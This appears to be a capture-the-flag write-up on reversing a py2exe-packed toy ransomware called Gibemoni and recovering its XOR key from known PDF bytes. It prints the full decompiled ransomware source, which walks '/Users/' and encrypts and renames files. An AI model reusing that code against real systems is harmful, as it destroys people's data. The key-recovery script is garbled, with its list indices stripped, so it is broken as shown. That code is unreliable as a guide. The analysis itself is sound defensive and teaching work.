In a previous post found (Hack IT 2018 - Challenge 2 - Crymore),
I explained how break the Crymore ransomware.
This post will instead focus on its Windows version called
Givemoni, which uses a completely
different tactic of encrypting the users data.
The challenge contained the following two files:
- gibemoni.exe (binary file used to encrypt files)
- flag.pdf.important.GibeMoni (our encrypted flag - a pdf file)
First thing I always do when I get a binary, is to just run strings on it,
Doing this, reveals a lot of strings containing the keyword
.pycPK, which quickly
lead me to believe that this was some Python code converted to a
strings gibemoni.exe | grep -i python reveals many strings containing the keyword Python.
,C:\Python34\lib\encodings\iso2022_jp_2004.pyr )C:\Python34\lib\encodings\iso2022_jp_3.pyr C:\Python34\lib\sre_constants.pyr C:\Python34\lib\http\client.py "C:\Python34\lib\encodings\cp855.py C:\Python34\lib\socket.py +C:\Python34\lib\encodings\iso2022_jp_ext.pyr C:\Users\martin\34\python\PCbuild\_lzma.pdb
From this we now know that we are dealing with Python code converted to a
and it was properly done using
py2exe which is the most popular tool for this task.
Besides this it can also be noted, that the version used for this is Python 3.4.
Now we need to extract the sourcecode for Gibemoni, which can be done using
which both can be found in the official pip repository.
I ended up creating a Dockerfile, so that I could specify the version of Python I wanted to use.
I experienced that I needed Python version 3.4 for
unpy2exe to work correctly, and then switch to
Python 3.7 after to run
FROM python:3.4-alpine3.7 RUN pip install uncompyle6 unpy2exe
Running this, allows us to first extract the
.pyc file, and then decompile that to readable Python code.
# build docker image from Dockerfile docker build -t gib . # run our docker image, with the currect directory mounted at /src docker run --rm -it $(pwd):/src gib sh cd /src unpy2exe gibemoni.exe # remember to change FROM in the Dockerfile to `FROM python:3.7-alpine3.7` and rebuild uncompyle6 ransom.py.pyc > ransom.py
This should result in the following code
# uncompyle6 version 3.2.4 # Python bytecode 3.4 (3310) # Decompiled from: Python 3.7.1 (default, Nov 16 2018, 06:33:02) # [GCC 6.4.0] # Embedded file name: ransom.py # Compiled at: 2018-11-21 21:37:34 # Size of source mod 2**32: 212 bytes import os def find_important_files(startpath): for dirpath, dirs, files in os.walk(startpath): for f in files: abspath = os.path.abspath(os.path.join(dirpath, f)) if abspath.split('.')[-1] == 'important': yield abspath continue def encrypt_file(filename, key): i = 0 with open(filename, 'r+b') as (f): plaintext = f.read(1) while plaintext: ciphertext = ord(plaintext) ^ key[i % 32] f.seek(-1, 1) f.write(bytes([ciphertext])) plaintext = f.read(1) i += 1 if __name__ == '__main__': print('Starting up...') print('HueHueHueHueHueHueHueHue') key = os.urandom(32) for f in find_important_files('/Users/'): encrypt_file(f, key) if os.path.exists(f + '.GibeMoni'): os.remove(f + '.GibeMoni') os.rename(f, f + '.GibeMoni') print('Encrypted: ' + f)
Keep in mind, I have cut off the last part which printed out the banner. But now we can see what happens, when the ransomware encrypts the files.
On first glance in the
__main__, we see that is generates a random 32 byte key,
that is used for encryption.
Looking at the
encrypt_file function, we can see that it accepts a
filename and a
The key is basically used to XOR the plaintext with.
This means that we need to find some way of recreating the key that was used to encrypt our flag.
As we know that the flag was a
This means that we can find the first 7 bytes of the key, which will then allow us to find other patterns in the pdf,
as it reuses the key throughout the file.
This in turns, allows us to guess patterns until we have the full key used to XOR our flag.
The reason why we can to that is that if you know two parts of the XOR, then you can get the third part of it. A example of this can be seen below, where we have two binary sequences and the result when you XOR them together (How XOR works). After this, the result is being used with the second part, to recreate the first part of the XOR. And as seen, the result is the original binary sequence.
010100 100100 ------ 110000 100100 110000 ------ 010100
So putting the information we know together, we can create a simple Python script to make our lives easier.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 from __future__ import print_function import os class gibi(object): def getData(self, inputFile): return bytearray(open(inputFile, "rb").read()) def encrypt(self, filebytes, key): size = len(filebytes) xorbyte = bytearray(size) i = 0 for i in range(size): xorbyte[i] = filebytes[i] ^ key[i % 32] return xorbyte def run(self): encrypted = self.getData("encrypted") guess_key =  for x in range(32): guess_key.append(0x00) guess_key = 0x25 guess_key = 0x50 guess_key = 0x44 guess_key = 0x46 guess_key = 0x2d guess_key = 0x31 guess_key = 0x2e encrypted2 = self.encrypt(encrypted, guess_key) guess_key = encrypted2 guess_key = encrypted2 guess_key = encrypted2 guess_key = encrypted2 guess_key = encrypted2 guess_key = encrypted2 guess_key = encrypted2 encrypted3 = self.encrypt(encrypted, guess_key) f = open("decrypted-part", "wb") f.write(encrypted3) x = gibi() x.run()
So explaining this Python script step-by-step, we can see that we have our class
gibi, followed by tree functions.
The first function
getData, takes a filename and return the content of the file as a bytearray.
The next function
encrypt, takes a bytearray and a key, then it creates a empty bytearray with the same length as the given bytearray.
After this it will loop over our bytes and XOR it using the specified key (looping around using modulus) and then return our new XOR’ed bytearray.
The third function
run is the core of the program, which utilizes the two other functions.
- Line 17 - Get the content of our encrypted file as a bytearray
- Line 19-21 - Generate a 32-byte key with 0x00
- Line 23-29 - Specify the first 7 bytes to what we know (
- So that we get the original key when XOR’ed (remember the XOR example from earlier)
- Line 31 - Encrypt the file using our key with the 7 bytes
- Line 33-39 - Replace the first 7 bytes of the key, with the first 7 bytes we just got by XOR
- Line 41 - XOR the file again with our new key
- Line 43-44 - Write our new file
Now after all this code has run, we start the pattern game! Basically we need to know some patterns in the file, so that we can guess the next character and thereby recreate the original key.
Doing some quick strings on a lot of pdf files, I gathered the following list of keywords.
\Length Filter \Filter \FlateDecode stream endstream endobj # end of file endstream.endobj.startxref.178144.%%EOF
Combining this with the following function, which takes the bytearray and loops over it (start times) and prints out the following …
- the key index used for this byte
- the decimal value of the byte
- print the ascii value (if printable)
def countable(self, filebytes, start): for x in range(start): mchr = "" if filebytes[x] > 32 and filebytes[x] < 127: mchr = chr(filebytes[x]) print(str(x % 32)+" - "+str(filebytes[x])+" - "+mchr)
This looks something like this
0 - 115 - s 1 - 116 - t 2 - 97 - a 3 - 114 - r 4 - 116 - t 5 - 120 - x 6 - 114 - r 7 - 65 - A 8 - 112 - p 9 - 168 -
Looking at this sample output, we can see that this looks a lot like
startxref, but it is missing the
ef part of it.
This fits perfectly with us only knowing the first 7 bytes of the key, so it is time for some manual decoding.
So taking the 7th key index
7 - 65 - A, we know this needs to be a
By opening Python and doing what we learned
cipher ^ known = key (in Python
hex(65 ^ ord("e"))), we get 0x24 as a result.
This can now be appended to our Python script
def run(self): encrypted = self.getData("encrypted") guess_key =  for x in range(32): guess_key.append(0x00) guess_key = 0x25 guess_key = 0x50 guess_key = 0x44 guess_key = 0x46 guess_key = 0x2d guess_key = 0x31 guess_key = 0x2e encrypted2 = self.encrypt(encrypted, guess_key) guess_key = encrypted2 guess_key = encrypted2 guess_key = encrypted2 guess_key = encrypted2 guess_key = encrypted2 guess_key = encrypted2 guess_key = encrypted2 guess_key = 0x24 encrypted3 = self.encrypt(encrypted, guess_key) f = open("decrypted-part", "wb") f.write(encrypted3)
So continuing finding patterns and doing this process, we will end up with the key
guess_key = encrypted2 guess_key = encrypted2 guess_key = encrypted2 guess_key = encrypted2 guess_key = encrypted2 guess_key = encrypted2 guess_key = encrypted2 guess_key = 0x24 guess_key = 0x16 guess_key = 0xa2 guess_key = 0xf1 guess_key = 0xe4 guess_key = 0xf9 guess_key = 0xc8 guess_key = 0x42 guess_key = 0x2e guess_key = 0xe3 guess_key = 0xde guess_key = 0x5b guess_key = 0x7a guess_key = 0x9e guess_key = 0x44 guess_key = 0xf3 guess_key = 0xda guess_key = 0x51 guess_key = 0x3a guess_key = 0x97 guess_key = 0x33 guess_key = 0x62 guess_key = 0xa6 guess_key = 0xbb guess_key = 0xf9
Which now allows us to just run the Python script, open the decrypted file and get our flag!